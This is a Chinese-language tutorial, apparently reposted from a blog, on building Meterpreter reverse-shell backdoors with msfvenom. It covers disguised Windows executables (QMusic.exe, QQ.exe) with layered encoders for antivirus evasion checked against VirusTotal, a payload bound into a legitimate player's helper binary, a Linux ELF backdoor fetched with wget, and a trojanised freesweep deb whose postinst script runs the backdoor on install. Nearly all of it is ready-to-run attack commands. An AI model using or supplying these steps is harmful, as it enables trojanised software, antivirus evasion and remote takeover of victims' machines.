admin管理员组文章数量:1566602
一、生成Windows后门程序获取shell
使用msfvenom制作简易后门程序
msfvenom 是 msfpayload,msfencode 的结合体,可利用 msfvenom 生成木马程序,并在目标机 上执行,在本地监听上线。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=IP地址 LPORT=端口 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/文件名
-a 指定架构如 x86 x64。 x86 代表 32 位, x64 代表 64 位。 32 位软件可以在 64 位系统上运 行。所以我们生成 32 位的后门,这样在 32 位和 64 位系统中都可以使用。
--platform 指定平台,这里选择 windows,通过 --l platforms 可以查看所有支持的平台 -p 设置攻击载荷,我们使用 windows/meterpreter/reverse_tcp,可以通过-l payloads 查看所有攻击载荷 LHOST 目标主机执行程序后连接我们 Kali 的地址
LPORT 目标主机执行程序后连接我们 Kali 的端口
-b 去掉坏字符,坏字符会影响 payload 正常执行。
-e 指定编码器,也就是所谓的免杀,x86/shikata_ga_nai 是 msf 自带的编码器,可以通过 -l encoders 查看所有编码器
-i 指定 payload 有效载荷编码迭代次数。 指定编码加密次数,为了让杀毒软件,更难查出源代码
-f 指定生成格式,可以是 raw,exe,elf,jar,c 语言的,python 的,java 的……,用 -l formats 查看所有支持的格式
-o 指定文件名称和导出位置。 指定到网站根目录/var/www/html,方便在肉机上下载后门程序
我这里取名为QMusic.exe
开启apache服务
systemctl start apache2
打开win7下载
在kali上打开metasploit
msfconsole
使用exploit/mulit/handler模块并进行设置
use exploit/multi/handler
set LHOST 对应的IP
set LPORT 对应的端口
set payload windows/meterpreter/reverse_tcp
run
在win7上,打开下载好的软件进行运行
kali已经成功获取了win7的权限
我们可以对后门软件进行二次编译来提高免杀率
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=IP地址 LPORT=端口 -b "\x00" -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /var/www/html/QQ.exe
这里我取名为QQ.exe
我们打开:https://www.virustotal/
依次选择两个后门软件
编译一次比编译两次提升了免杀率
二、模拟黑客给真正的软件加上后门获取shell
先下载一个正常的播放软件
先查看主程序会调用哪些附加的小程序,然后把 payload 后门和这些小程序绑定到一起。
当然也可 以直接加到主程序上,但是加主程序上,有时报错。
当 QvodPlayer.exe 主程序运行时,会自动调用 QvodTerminal.exe 这个小程序。
所以我们决定将后门绑定在QvodTerminal.exe
将QvodTerminal.exe上传到kali
利用msfvenom进行绑定
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=IP地址 LPORT=端口 -b "\x00" -e x86/shikata_ga_nai -i 10 -x
QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe
将该文件下载并替换掉原来的文件
打开运行后发现QvodTerminal.exe已经运行
kali使用handler进行监听
已经获得管理员权限
三、制作Linux恶意软件获取shell
方法与Windows中类似
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=IP地址 LPORT=端口 -b "\x00" -f elf -o /var/www/html/文件名
同时打开handler开始监听,与上面不同的是,这里要设置为:
set payload linux/x64/meterpreter/reverse_tcp
在centos7上下载该文件
wget http://IP地址/文件名
给予执行权力
chmod +x virus
已成功拿到root权限,如果是普通用户就这能获得普通用户权限
四、制作恶意deb软件包来触发后门
先下载一个正常的软件包
apt --download-only freesweep
将软件包移动到root目录下
mv /var/cache/apt/archives/freesweep_1.0.1-2_amd64.deb /root/
将安装包解压到root目录下为free文件
dpkg -x freesweep_1.0.1-2_amd64.deb free
将后门放到free文件中
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o /root/free/usr/games/freesweep_sources
创建软件包信息目录
mkdir /root/free/DEBIAN
cd /root/free/DEBIAN/
创建软件包的信息文件(注意每一段中间不能存在空格)
tee /root/free/DEBIAN/control << 'EOF'
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on
hints given by the computer. Unlike most implementations of this game, Freesweep works
in any visual text display - in Linux console, in an xterm, and in most text-based terminals
currently in use.
EOF
创建 deb 软件包,安装后脚本文件,来加载后门
tee /root/free/DEBIAN/postinst << 'EOF'
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources &
EOF
给脚本文件添加执行权限
chmod 755 /root/free/DEBIAN/postinst
构建新的 deb 安装包
dpkg-deb --build /root/free
再次打开handler进行监听
安装安装包
dpkg -i free.deb
即可获得权限
版权声明:本文标题:制作windows和linux客户端恶意软件进行渗透 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/xitong/1726595604a1076806.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论